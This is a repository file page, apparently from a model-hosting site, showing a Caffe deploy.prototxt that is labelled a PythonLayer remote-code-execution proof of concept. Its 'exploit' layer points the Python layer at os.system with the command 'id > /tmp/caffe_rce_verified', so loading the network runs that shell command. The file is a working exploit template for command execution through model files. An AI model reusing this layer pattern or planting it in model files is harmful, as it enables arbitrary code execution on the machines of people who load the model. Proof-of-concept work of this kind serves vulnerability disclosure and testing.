caffe-pythonlayer-rce-poc / deploy.prototxt
xiaoyaoes's picture
Add Caffe PythonLayer RCE PoC prototxt
daff0d0
Raw
History Blame Contribute Delete
350 Bytes
name: "RCE_Net"
input: "data"
input_shape {
dim: 1
dim: 3
dim: 224
dim: 224
}
layer {
name: "exploit"
type: "Python"
bottom: "data"
top: "exploit"
python_param {
module: "os"
layer: "system"
param_str: "id > /tmp/caffe_rce_verified"
}
}
layer {
name: "output"
type: "Softmax"
bottom: "exploit"
top: "output"
}